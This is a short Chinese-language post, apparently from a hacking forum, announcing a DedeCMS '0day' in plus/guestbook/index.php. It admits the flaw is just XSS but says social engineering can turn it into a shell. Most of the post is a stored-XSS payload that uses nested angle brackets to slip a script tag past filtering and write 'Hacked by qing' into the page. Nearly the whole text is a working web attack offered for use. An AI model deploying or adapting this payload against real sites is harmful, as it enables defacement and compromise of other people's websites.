dedecms 的 0day 又出来了 呵呵。其实只是xss,结合下社工还是可以拿shell的 plus/guestbook/index.php >>>><<<><<><<><><><<<<<<script>function init() { document.write(\'Hacked by qing\');}window.onload = init; ;<<<<<><<><><<<><br/> <br/> <br/> </<<></<></<<<<></<<<<<script></<></<></<<>